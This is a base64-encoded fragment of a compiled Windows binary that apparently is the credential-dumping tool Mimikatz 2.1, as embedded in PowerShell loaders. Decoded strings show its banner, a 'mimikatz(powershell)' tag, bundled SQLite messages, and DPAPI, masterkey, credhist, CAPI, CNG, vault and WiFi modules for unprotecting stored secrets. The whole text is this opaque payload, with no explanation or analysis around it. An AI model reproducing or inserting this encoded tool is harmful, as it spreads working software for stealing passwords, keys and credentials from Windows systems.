zc1ODAAAAAAAABBUEkgY2FsbCB3aXRoICVzIGRhdGFiYXNlIGNvbm5lY3Rpb24gcG9pbnRlcgAAAAB1bm9wZW5lZAAAAAAAAAAAaW52YWxpZABBcmVGaWxlQXBpc0FOU0kAQ2hhckxvd2VyVwAAAAAAAENoYXJVcHBlclcAAAAAAABDbG9zZUhhbmRsZQAAAAAAQ3JlYXRlRmlsZUEAAAAAAENyZWF0ZUZpbGVXAAAAAABDcmVhdGVGaWxlTWFwcGluZ0EAAAAAAABDcmVhdGVGaWxlTWFwcGluZ1cAAAAAAABDcmVhdGVNdXRleFcAAAAARGVsZXRlRmlsZUEAAAAAAERlbGV0ZUZpbGVXAAAAAABGaWxlVGltZVRvTG9jYWxGaWxlVGltZQBGaWxlVGltZVRvU3lzdGVtVGltZQAAAABGbHVzaEZpbGVCdWZmZXJzAAAAAAAAAABGb3JtYXRNZXNzYWdlQQAARm9ybWF0TWVzc2FnZVcAAEZyZWVMaWJyYXJ5AAAAAABHZXRDdXJyZW50UHJvY2Vzc0lkAAAAAABHZXREaXNrRnJlZVNwYWNlQQAAAAAAAABHZXREaXNrRnJlZVNwYWNlVwAAAAAAAABHZXRGaWxlQXR0cmlidXRlc0EAAAAAAABHZXRGaWxlQXR0cmlidXRlc1cAAAAAAABHZXRGaWxlQXR0cmlidXRlc0V4VwAAAABHZXRGaWxlU2l6ZQAAAAAAR2V0RnVsbFBhdGhOYW1lQQAAAAAAAAAAR2V0RnVsbFBhdGhOYW1lVwAAAAAAAAAAR2V0TGFzdEVycm9yAAAAAEdldFByb2NBZGRyZXNzQQBHZXRTeXN0ZW1JbmZvAAAAR2V0U3lzdGVtVGltZQAAAEdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAEdldFRlbXBQYXRoQQAAAABHZXRUZW1wUGF0aFcAAAAAR2V0VGlja0NvdW50AAAAAEdldFZlcnNpb25FeEEAAABHZXRWZXJzaW9uRXhXAAAASGVhcEFsbG9jAAAAAAAAAEhlYXBDcmVhdGUAAAAAAABIZWFwRGVzdHJveQAAAAAASGVhcEZyZWUAAAAAAAAAAEhlYXBSZUFsbG9jAAAAAABIZWFwU2l6ZQAAAAAAAAAASGVhcFZhbGlkYXRlAAAAAEhlYXBDb21wYWN0AAAAAABMb2FkTGlicmFyeUEAAAAATG9hZExpYnJhcnlXAAAAAExvY2FsRnJlZQAAAAAAAABMb2NrRmlsZQAAAAAAAAAATG9ja0ZpbGVFeAAAAAAAAE1hcFZpZXdPZkZpbGUAAABNdWx0aUJ5dGVUb1dpZGVDaGFyAAAAAABRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgBSZWFkRmlsZQAAAAAAAAAAU2V0RW5kT2ZGaWxlAAAAAFNldEZpbGVQb2ludGVyAABTbGVlcAAAAFN5c3RlbVRpbWVUb0ZpbGVUaW1lAAAAAFVubG9ja0ZpbGUAAAAAAABVbmxvY2tGaWxlRXgAAAAAVW5tYXBWaWV3T2ZGaWxlAFdpZGVDaGFyVG9NdWx0aUJ5dGUAAAAAAFdyaXRlRmlsZQAAAAAAAABDcmVhdGVFdmVudEV4VwAAV2FpdEZvclNpbmdsZU9iamVjdAAAAAAAV2FpdEZvclNpbmdsZU9iamVjdEV4AAAAU2V0RmlsZVBvaW50ZXJFeAAAAAAAAAAAR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeAAAAABNYXBWaWV3T2ZGaWxlRnJvbUFwcAAAAABDcmVhdGVGaWxlMgAAAAAATG9hZFBhY2thZ2VkTGlicmFyeQAAAAAAR2V0VGlja0NvdW50NjQAAEdldE5hdGl2ZVN5c3RlbUluZm8AAAAAAE91dHB1dERlYnVnU3RyaW5nQQAAAAAAAE91dHB1dERlYnVnU3RyaW5nVwAAAAAAAEdldFByb2Nlc3NIZWFwAABDcmVhdGVGaWxlTWFwcGluZ0Zyb21BcHAAAAAAAAAAAEludGVybG9ja2VkQ29tcGFyZUV4Y2hhbmdlAAAAAAAAVXVpZENyZWF0ZQAAAAAAAFV1aWRDcmVhdGVTZXF1ZW50aWFsAAAAAEZsdXNoVmlld09mRmlsZQBPc0Vycm9yIDB4JWx4ICglbHUpACVzAABvc193aW4uYzolZDogKCVsdSkgJXMoJXMpIC0gJXMAAGRlbGF5ZWQgJWRtcyBmb3IgbG9jay9zaGFyaW5nIGNvbmZsaWN0IGF0IGxpbmUgJWQAAAAAAAAAd2luU2Vla0ZpbGUAAAAAAHdpbkNsb3NlAAAAAAAAAAB3aW5SZWFkAHdpbldyaXRlMQAAAAAAAAB3aW5Xcml0ZTIAAAAAAAAAd2luVHJ1bmNhdGUxAAAAAHdpblRydW5jYXRlMgAAAAB3aW5TeW5jMQAAAAAAAAAAd2luU3luYzIAAAAAAAAAAHdpbkZpbGVTaXplAAAAAAB3aW5VbmxvY2tSZWFkTG9jawAAAAAAAAB3aW5VbmxvY2sAAAAAAAAAd2luVW5tYXBmaWxlMQAAAHdpblVubWFwZmlsZTIAAAB3aW5NYXBmaWxlMQAAAAAAd2luTWFwZmlsZTIAAAAAAGV0aWxxc18Ad2luR2V0VGVtcG5hbWUxAHdpbkdldFRlbXBuYW1lMgB3aW5HZXRUZW1wbmFtZTMAd2luR2V0VGVtcG5hbWU0AHdpbkdldFRlbXBuYW1lNQB3aW5PcGVuAHBzb3cAAAAAd2luRGVsZXRlAAAAAAAAAHdpbkFjY2VzcwAAACVzJWMlcwAAAAAAAHdpbkZ1bGxQYXRobmFtZTEAAAAAAAAAAHdpbkZ1bGxQYXRobmFtZTIAAAAAAAAAAHdpbkZ1bGxQYXRobmFtZTMAAAAAAAAAAHdpbkZ1bGxQYXRobmFtZTQAAAAAd2luMzIAAAAAAAAAd2luMzItbG9uZ3BhdGgAAHJlY292ZXJlZCAlZCBwYWdlcyBmcm9tICVzAAAAAAAALWpvdXJuYWwAAAAAbm9sb2NrAAAAAAAAaW1tdXRhYmxlAAAAQCAgAG91dCBvZiBtZW1vcnkAAAAlbGxkAAAAACUhLjE1ZwAALQAAACVzJXMAAAAAAAAAACVzLW1qWFhYWFhYOVhYegBNSiBkZWxldGU6ICVzAAAATUogY29sbGlkZTogJXMAAC1taiUwNlg5JTAyWAAAAABBUEkgY2FsbGVkIHdpdGggZmluYWxpemVkIHByZXBhcmVkIHN0YXRlbWVudAAAAABBUEkgY2FsbGVkIHdpdGggTlVMTCBwcmVwYXJlZCBzdGF0ZW1lbnQAc3RyaW5nIG9yIGJsb2IgdG9vIGJpZwAAdW5hYmxlIHRvIHVzZSBmdW5jdGlvbiAlcyBpbiB0aGUgcmVxdWVzdGVkIGNvbnRleHQAAAAAAABiaW5kIG9uIGEgYnVzeSBwcmVwYXJlZCBzdGF0ZW1lbnQ6IFslc10ATk9UIE5VTEwAAAAAVU5JUVVFAABDSEVDSwAAAAAAAABGT1JFSUdOIEtFWQAAAAAAJXMgY29uc3RyYWludCBmYWlsZWQAAAAAJXo6ICVzAABhYm9ydCBhdCAlZCBpbiBbJXNdOiAlcwBjYW5ub3Qgb3BlbiBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAAAAAAG5vIHN1Y2ggc2F2ZXBvaW50OiAlcwAAAGNhbm5vdCByZWxlYXNlIHNhdmVwb2ludCAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAAAAY2Fubm90IGNvbW1pdCB0cmFuc2FjdGlvbiAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAABjYW5ub3Qgc3RhcnQgYSB0cmFuc2FjdGlvbiB3aXRoaW4gYSB0cmFuc2FjdGlvbgBjYW5ub3Qgcm9sbGJhY2sgLSBubyB0cmFuc2FjdGlvbiBpcyBhY3RpdmUAAAAAAABjYW5ub3QgY29tbWl0IC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAAAAAAAAAABkYXRhYmFzZSBzY2hlbWEgaGFzIGNoYW5nZWQAAAAAAHNxbGl0ZV9tYXN0ZXIAAAAAAAAAAAAAAFNFTEVDVCBuYW1lLCByb290cGFnZSwgc3FsIEZST00gJyVxJy4lcyBXSEVSRSAlcyBPUkRFUiBCWSByb3dpZABzdGF0ZW1lbnQgYWJvcnRzIGF0ICVkOiBbJXNdICVzAG1pc3VzZSBvZiBhbGlhc2VkIGFnZ3JlZ2F0ZSAlcwAAbm8gc3VjaCBjb2x1bW4AAGFtYmlndW91cyBjb2x1bW4gbmFtZQAAACVzOiAlcy4lcy4lcwAAAAAlczogJXMuJXMAAAAlczogJXMAAAAAAABwYXJ0aWFsIGluZGV4IFdIRVJFIGNsYXVzZXMAAAAAAGluZGV4IGV4cHJlc3Npb25zAAAAAAAAACVzIHByb2hpYml0ZWQgaW4gJXMAAAAAAHRoZSAiLiIgb3BlcmF0b3IAAAAAAAAAAGZ1bmN0aW9ucwAAAAAAAAAAAAAAAAAAAHNlY29uZCBhcmd1bWVudCB0byBsaWtlbGlob29kKCkgbXVzdCBiZSBhIGNvbnN0YW50IGJldHdlZW4gMC4wIGFuZCAxLjAAAG5vbi1kZXRlcm1pbmlzdGljIGZ1bmN0aW9ucwAAAAAAbWlzdXNlIG9mIGFnZ3JlZ2F0ZSBmdW5jdGlvbiAlLipzKCkAAAAAAG5vIHN1Y2ggZnVuY3Rpb246ICUuKnMAAHdyb25nIG51bWJlciBvZiBhcmd1bWVudHMgdG8gZnVuY3Rpb24gJS4qcygpAAAAAHN1YnF1ZXJpZXMAAAAAAABwYXJhbWV0ZXJzAAAAAAAAJXIgJXMgQlkgdGVybSBvdXQgb2YgcmFuZ2UgLSBzaG91bGQgYmUgYmV0d2VlbiAxIGFuZCAlZAB0b28gbWFueSB0ZXJtcyBpbiBPUkRFUiBCWSBjbGF1c2UAAABPUkRFUgAAAAAAAAAlciBPUkRFUiBCWSB0ZXJtIGRvZXMgbm90IG1hdGNoIGFueSBjb2x1bW4gaW4gdGhlIHJlc3VsdCBzZXQAAAAAdG9vIG1hbnkgdGVybXMgaW4gJXMgQlkgY2xhdXNlAABhIEdST1VQIEJZIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgSEFWSU5HAEdST1VQAAAAAAAAAGFnZ3JlZ2F0ZSBmdW5jdGlvbnMgYXJlIG5vdCBhbGxvd2VkIGluIHRoZSBHUk9VUCBCWSBjbGF1c2UAAAAAAABFeHByZXNzaW9uIHRyZWUgaXMgdG9vIGxhcmdlIChtYXhpbXVtIGRlcHRoICVkKQB2YXJpYWJsZSBudW1iZXIgbXVzdCBiZSBiZXR3ZWVuID8xIGFuZCA/JWQAAAAAAAB0b28gbWFueSBTUUwgdmFyaWFibGVzAAB0b28gbWFueSBjb2x1bW5zIGluICVzAABfUk9XSURfAFJPV0lEAAAAT0lEAAAAAABvdmVyc2l6ZWQgaW50ZWdlcjogJXMlcwBtaXN1c2Ugb2YgYWdncmVnYXRlOiAlcygpAAAAAAAAAHVua25vd24gZnVuY3Rpb246ICVzKCkAACVzICVUIGNhbm5vdCByZWZlcmVuY2Ugb2JqZWN0cyBpbiBkYXRhYmFzZSAlcwAAAG5vIHN1Y2ggdGFibGUAAABjb3JydXB0IGRhdGFiYXNlAAAAAAAAAAB1bmtub3duIGRhdGFiYXNlICVUAAAAAABzcWxpdGVfAG9iamVjdCBuYW1lIHJlc2VydmVkIGZvciBpbnRlcm5hbCB1c2U6ICVzAAAAAAAAAHRhYmxlICVUIGFscmVhZHkgZXhpc3RzAHRoZXJlIGlzIGFscmVhZHkgYW4gaW5kZXggbmFtZWQgJXMAAAAAAAB0b28gbWFueSBjb2x1bW5zIG9uICVzAABkdXBsaWNhdGUgY29sdW1uIG5hbWU6ICVzAAAAAAAAAGRlZmF1bHQgdmFsdWUgb2YgY29sdW1uIFslc10gaXMgbm90IGNvbnN0YW50AAAAAHRhYmxlICIlcyIgaGFzIG1vcmUgdGhhbiBvbmUgcHJpbWFyeSBrZXkAAAAAAAAAAElOVEVHRVIALAAAACkAAAAKICAALAogIAAAAAAKKQAAQ1JFQVRFIFRBQkxFIAAAACBURVhUAAAAIE5VTQAAAAAgSU5UAAAAACBSRUFMAAAAQVVUT0lOQ1JFTUVOVCBub3QgYWxsb3dlZCBvbiBXSVRIT1VUIFJPV0lEIHRhYmxlcwAAAAAAAABQUklNQVJZIEtFWSBtaXNzaW5nIG9uIHRhYmxlICVzAHRhYmxlAAAAVEFCTEUAAABDUkVBVEUgJXMgJS4qcwAAAAAAAAAAAABVUERBVEUgJVEuJXMgU0VUIHR5cGU9JyVzJywgbmFtZT0lUSwgdGJsX25hbWU9JVEsIHJvb3RwYWdlPSMlZCwgc3FsPSVRIFdIRVJFIHJvd2lkPSMlZAAAdGJsX25hbWU9JyVxJyBBTkQgdHlwZSE9J3RyaWdnZXInAAAAAAAAAHNxbGl0ZV9zdGF0JWQAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSAlcz0lUQAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIHRibF9uYW1lPSVRIGFuZCB0eXBlIT0ndHJpZ2dlcicAc3FsaXRlX3N0YXQAAAAAAHRhYmxlICVzIG1heSBub3QgYmUgZHJvcHBlZAB0YmwAaW5kZXgAAABjYW5ub3QgY3JlYXRlIGEgVEVNUCBpbmRleCBvbiBub24tVEVNUCB0YWJsZSAiJXMiAAAAAAAAAGFsdGVydGFiXwAAAAAAAAB0YWJsZSAlcyBtYXkgbm90IGJlIGluZGV4ZWQAAAAAAHRoZXJlIGlzIGFscmVhZHkgYSB0YWJsZSBuYW1lZCAlcwAAAAAAAABpbmRleCAlcyBhbHJlYWR5IGV4aXN0cwBzcWxpdGVfYXV0b2luZGV4XyVzXyVkAABleHByZXNzaW9ucyBwcm9oaWJpdGVkIGluIFBSSU1BUlkgS0VZIGFuZCBVTklRVUUgY29uc3RyYWludHMAAAAAY29uZmxpY3RpbmcgT04gQ09ORkxJQ1QgY2xhdXNlcyBzcGVjaWZpZWQAAAAAAAAAIFVOSVFVRQBDUkVBVEUlcyBJTkRFWCAlLipzAAAAAABJTlNFUlQgSU5UTyAlUS4lcyBWQUxVRVMoJ2luZGV4JywlUSwlUSwjJWQsJVEpOwBuYW1lPSclcScgQU5EIHR5cGU9J2luZGV4JwAAAAAAAG5vIHN1Y2ggaW5kZXg6ICVTAAAAAAAAAAAAAAAAAAAAaW5kZXggYXNzb2NpYXRlZCB3aXRoIFVOSVFVRSBvciBQUklNQVJZIEtFWSBjb25zdHJhaW50IGNhbm5vdCBiZSBkcm9wcGVkAAAAAAAAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSBuYW1lPSVRIEFORCB0eXBlPSdpbmRleCcAAAAAaWR4AE9OAABVU0lORwAAAAAAAABhIEpPSU4gY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSAlcwAAAAAAaW5kZXggJyVxJwAALCAAACVzLiVzAAAAJXMucm93aWQAAAAAAAAAAGR1cGxpY2F0ZSBXSVRIIHRhYmxlIG5hbWU6ICVzAAAAbm8gc3VjaCBjb2xsYXRpb24gc2VxdWVuY2U6ICVzAAB0YWJsZSAlcyBtYXkgbm90IGJlIG1vZGlmaWVkAAAAAHJvd3MgZGVsZXRlZAAAAABpbnRlZ2VyAHRleHQAAAAAcmVhbAAAAABibG9iAAAAAG51bGwAAAAAaW50ZWdlciBvdmVyZmxvdwAAAAAAAAAATElLRSBvciBHTE9CIHBhdHRlcm4gdG9vIGNvbXBsZXgAAAAAAAAAAEVTQ0FQRSBleHByZXNzaW9uIG11c3QgYmUgYSBzaW5nbGUgY2hhcmFjdGVyAAAAACUhLjIwZQAAIAAAAE1BVENIAAAAbGlrZQAAAABnbG9iAAAAAAAAAAB1bmxpa2VseQAAAAAAAAAAbGlrZWxpaG9vZAAAbGlrZWx5AABsdHJpbQAAAHJ0cmltAAAAdHJpbQAAAABtaW4AbWF4AHR5cGVvZgAAbGVuZ3RoAABpbnN0cgAAAHByaW50ZgAAAAAAAHVuaWNvZGUAY2hhcgAAAABhYnMAdXBwZXIAAABsb3dlcgAAAGhleABpZm51bGwAAHJhbmRvbQAAcmFuZG9tYmxvYgAAbnVsbGlmAAAAAAAAc3FsaXRlX3ZlcnNpb24AAHNxbGl0ZV9zb3VyY2VfaWQAAAAAAAAAAHNxbGl0ZV9sb2cAAHF1b3RlAAAAAAAAAGxhc3RfaW5zZXJ0X3Jvd2lkAAAAAAAAAGNoYW5nZXMAdG90YWxfY2hhbmdlcwAAAHJlcGxhY2UAemVyb2Jsb2IAAAAAc3Vic3RyAABzdW0AdG90YWwAAABhdmcAY291bnQAAAAAAAAAZ3JvdXBfY29uY2F0AAAAAGNvYWxlc2NlAAAAAAAAAAB0YWJsZSAlUyBoYXMgbm8gY29sdW1uIG5hbWVkICVzAHRhYmxlICVTIGhhcyAlZCBjb2x1bW5zIGJ1dCAlZCB2YWx1ZXMgd2VyZSBzdXBwbGllZAAAAAAAJWQgdmFsdWVzIGZvciAlZCBjb2x1bW5zAAAAAAAAAAByb3dzIGluc2VydGVkAAAAYXV0b21hdGljIGV4dGVuc2lvbiBsb2FkaW5nIGZhaWxlZDogJXMAAD8AAAAAAAAAbWFsZm9ybWVkIGRhdGFiYXNlIHNjaGVtYSAoJXMpAAAleiAtICVzAGNyZWF0ZSAAaW52YWxpZCByb290cGFnZQAAAAAAAAAAAAAAAAAAAABDUkVBVEUgVEFCTEUgeCh0eXBlIHRleHQsbmFtZSB0ZXh0LHRibF9uYW1lIHRleHQscm9vdHBhZ2UgaW50ZWdlcixzcWwgdGV4dCkAAAAAAGF0dGFjaGVkIGRhdGFiYXNlcyBtdXN0IHVzZSB0aGUgc2FtZSB0ZXh0IGVuY29kaW5nIGFzIG1haW4gZGF0YWJhc2UAAAAAAHVuc3VwcG9ydGVkIGZpbGUgZm9ybWF0AFNFTEVDVCBuYW1lLCByb290cGFnZSwgc3FsIEZST00gIiV3Ii4lcyBPUkRFUiBCWSByb3dpZAAAc3RhdGVtZW50IHRvbyBsb25nAAAAAAAAdW5rbm93biBvciB1bnN1cHBvcnRlZCBqb2luIHR5cGU6ICVUICVUJXMlVAAAAAAAUklHSFQgYW5kIEZVTEwgT1VURVIgSk9JTnMgYXJlIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkAABhIE5BVFVSQUwgam9pbiBtYXkgbm90IGhhdmUgYW4gT04gb3IgVVNJTkcgY2xhdXNlAAAAAAAAAGNhbm5vdCBoYXZlIGJvdGggT04gYW5kIFVTSU5HIGNsYXVzZXMgaW4gdGhlIHNhbWUgam9pbgAAAAAAAAAAAABjYW5ub3Qgam9pbiB1c2luZyBjb2x1bW4gJXMgLSBjb2x1bW4gbm90IHByZXNlbnQgaW4gYm90aCB0YWJsZXMAVU5JT04gQUxMAAAAAAAAAElOVEVSU0VDVAAAAEVYQ0VQVAAAVU5JT04AAAByb3dpZAAAAAAAAABjb2x1bW4lZAAAAAAAAAAAJS4qejoldQBhbGwgVkFMVUVTIG11c3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgdGVybXMAAABTRUxFQ1RzIHRvIHRoZSBsZWZ0IGFuZCByaWdodCBvZiAlcyBkbyBub3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgcmVzdWx0IGNvbHVtbnMAAAAAAAAAbm8gc3VjaCBpbmRleDogJXMAAAAAAAAAJyVzJyBpcyBub3QgYSBmdW5jdGlvbgAAbXVsdGlwbGUgcmVmZXJlbmNlcyB0byByZWN1cnNpdmUgdGFibGU6ICVzAAAAAAAAY2lyY3VsYXIgcmVmZXJlbmNlOiAlcwAAdGFibGUgJXMgaGFzICVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAG11bHRpcGxlIHJlY3Vyc2l2ZSByZWZlcmVuY2VzOiAlcwAAAAAAAAByZWN1cnNpdmUgcmVmZXJlbmNlIGluIGEgc3VicXVlcnk6ICVzAAAAdG9vIG1hbnkgcmVmZXJlbmNlcyB0byAiJXMiOiBtYXggNjU1MzUAACoAAAAAAAAAJXMuJXMuJXMAAAAAAAAAAG5vIHN1Y2ggdGFibGU6ICVzAAAAAAAAAG5vIHRhYmxlcyBzcGVjaWZpZWQAAAAAAHRvbyBtYW55IGNvbHVtbnMgaW4gcmVzdWx0IHNldAAARElTVElOQ1QgYWdncmVnYXRlcyBtdXN0IGhhdmUgZXhhY3RseSBvbmUgYXJndW1lbnQAAAAAAABubyBzdWNoIGNvbHVtbjogJXMAAAAAAAByb3dzIHVwZGF0ZWQAAAAAQklOQVJZAAB0b28gbWFueSBhcmd1bWVudHMgb24gJXMoKSAtIG1heCAlZAAAAAAAbm8gcXVlcnkgc29sdXRpb24AAAAAAAAAYXQgbW9zdCAlZCB0YWJsZXMgaW4gYSBqb2luAAAAAAB0b28gbWFueSB0ZXJtcyBpbiBjb21wb3VuZCBTRUxFQ1QAAAAAAAAAc3ludGF4IGVycm9yIGFmdGVyIGNvbHVtbiBuYW1lICIlLipzIgAAAHBhcnNlciBzdGFjayBvdmVyZmxvdwAAAHVua25vd24gdGFibGUgb3B0aW9uOiAlLipzAAAAAAAAc2V0IGxpc3QAAAAAAAAAAG5lYXIgIiVUIjogc3ludGF4IGVycm9yAHRvbyBtYW55IGFyZ3VtZW50cyBvbiBmdW5jdGlvbiAlVAAAAAAAAAB1bnJlY29nbml6ZWQgdG9rZW46ICIlVCIAAAAAAAAAADIwMTYtMDUtMTggMTA6NTc6MzAgZmM0OWY1NTZlNDg5NzA1NjFkN2FiNmEyZjI0ZmRkN2Q5ZWI4MWZmMgAAAAAAAAAAAAAAAHVuYWJsZSB0byBjbG9zZSBkdWUgdG8gdW5maW5hbGl6ZWQgc3RhdGVtZW50cyBvciB1bmZpbmlzaGVkIGJhY2t1cHMAAAAAAG5vdCBhbiBlcnJvcgAAAABTUUwgbG9naWMgZXJyb3Igb3IgbWlzc2luZyBkYXRhYmFzZQAAAAAAYWNjZXNzIHBlcm1pc3Npb24gZGVuaWVkAAAAAAAAAABjYWxsYmFjayByZXF1ZXN0ZWQgcXVlcnkgYWJvcnQAAGRhdGFiYXNlIGlzIGxvY2tlZAAAAAAAAGRhdGFiYXNlIHRhYmxlIGlzIGxvY2tlZAAAAAAAAAAAYXR0ZW1wdCB0byB3cml0ZSBhIHJlYWRvbmx5IGRhdGFiYXNlAAAAAGludGVycnVwdGVkAAAAAABkaXNrIEkvTyBlcnJvcgAAZGF0YWJhc2UgZGlzayBpbWFnZSBpcyBtYWxmb3JtZWQAAAAAAAAAAHVua25vd24gb3BlcmF0aW9uAAAAAAAAAGRhdGFiYXNlIG9yIGRpc2sgaXMgZnVsbAAAAAAAAAAAdW5hYmxlIHRvIG9wZW4gZGF0YWJhc2UgZmlsZQAAAABsb2NraW5nIHByb3RvY29sAAAAAAAAAAB0YWJsZSBjb250YWlucyBubyBkYXRhAABjb25zdHJhaW50IGZhaWxlZAAAAAAAAABkYXRhdHlwZSBtaXNtYXRjaAAAAAAAAABsaWJyYXJ5IHJvdXRpbmUgY2FsbGVkIG91dCBvZiBzZXF1ZW5jZQAAbGFyZ2UgZmlsZSBzdXBwb3J0IGlzIGRpc2FibGVkAABhdXRob3JpemF0aW9uIGRlbmllZAAAAABhdXhpbGlhcnkgZGF0YWJhc2UgZm9ybWF0IGVycm9yAGJpbmQgb3IgY29sdW1uIGluZGV4IG91dCBvZiByYW5nZQAAAAAAAABmaWxlIGlzIGVuY3J5cHRlZCBvciBpcyBub3QgYSBkYXRhYmFzZQAAdW5rbm93biBlcnJvcgAAAGFib3J0IGR1ZSB0byBST0xMQkFDSwAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IHVzZXItZnVuY3Rpb24gZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAAAAAAAAAAAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IGNvbGxhdGlvbiBzZXF1ZW5jZSBkdWUgdG8gYWN0aXZlIHN0YXRlbWVudHMAZmlsZToAAAAAAAAAbG9jYWxob3N0AAAAAAAAAGludmFsaWQgdXJpIGF1dGhvcml0eTogJS4qcwB2ZnMAY2FjaGUAAABzaGFyZWQAAHByaXZhdGUAbW9kZQAAAABybwAAcncAAHJ3YwBtZW1vcnkAAGFjY2VzcwAAAAAAAG5vIHN1Y2ggJXMgbW9kZTogJXMAAAAAACVzIG1vZGUgbm90IGFsbG93ZWQ6ICVzAG5vIHN1Y2ggdmZzOiAlcwBOT0NBU0UAAFJUUklNAAAAbWFpbgAAAAB0ZW1wAAAAACVzIGF0IGxpbmUgJWQgb2YgWyUuMTBzXQAAAAAAAAAAZGF0YWJhc2UgY29ycnVwdGlvbgBtaXN1c2UAAAAAAABjYW5ub3Qgb3BlbiBmaWxlAAAAAAAAAAAAAAAAAAAAAAoAIAAgAC4AIwAjACMAIwAjAC4AIAAgACAAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADEAIAAoAHgANgA0ACkAIABiAHUAaQBsAHQAIABvAG4AIABOAG8AdgAgADEAMAAgADIAMAAxADYAIAAxADUAOgAzADEAOgAxADQACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAiAEEAIABMAGEAIABWAGkAZQAsACAAQQAgAEwAJwBBAG0AbwB1AHIAIgAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAG8AZQAuAGUAbwApAAoAIAAgACcAIwAjACMAIwAjACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB3AGkAdABoACAAJQAyAHUAIABtAG8AZAB1AGwAZQBzACAAKgAgACoAIAAqAC8ACgAAAAoAbQBpAG0AaQBrAGEAdAB6ACgAcABvAHcAZQByAHMAaABlAGwAbAApACAAIwAgACUAcwAKAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AaQBuAGkAdABPAHIAQwBsAGUAYQBuACAAOwAgAEMAbwBJAG4AaQB0AGkAYQBsAGkAegBlAEUAeAA6ACAAJQAwADgAeAAKAAAAAABJAE4ASQBUAAAAAAAAAAAAQwBMAEUAQQBOAAAAAAAAAAAAAAAAAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKACUAMQA2AHMAAAAAAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAAAAAAGIAbABvAGIAAAAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAARABQAEEAUABJACAAYgBsAG8AYgAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABpAHQAIAB3AGkAdABoACAAQQBQAEkAIABvAHIAIABNAGEAcwB0AGUAcgBrAGUAeQAAAAAAAABwAHIAbwB0AGUAYwB0AAAAAAAAAAAAAABQAHIAbwB0AGUAYwB0ACAAYQAgAGQAYQB0AGEAIAB2AGkAYQAgAGEAIABEAFAAQQBQAEkAIABjAGEAbABsAAAAbQBhAHMAdABlAHIAawBlAHkAAAAAAAAAAAAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAYwByAGUAZABoAGkAcwB0AAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAAAAAAAAAAABjAGEAcABpAAAAAAAAAAAAQwBBAFAASQAgAGsAZQB5ACAAdABlAHMAdAAAAAAAAABjAG4AZwAAAEMATgBHACAAawBlAHkAIAB0AGUAcwB0AAAAAAAAAAAAYwByAGUAZAAAAAAAAAAAAEMAUgBFAEQAIAB0AGUAcwB0AAAAAAAAAHYAYQB1AGwAdAAAAAAAAABWAEEAVQBMAFQAIAB0AGUAcwB0AAAAAAB3AGkAZgBpAAAAAAAAAAAAVwBpAEYAaQAgAHQAZQBzAHQAAAAAAAA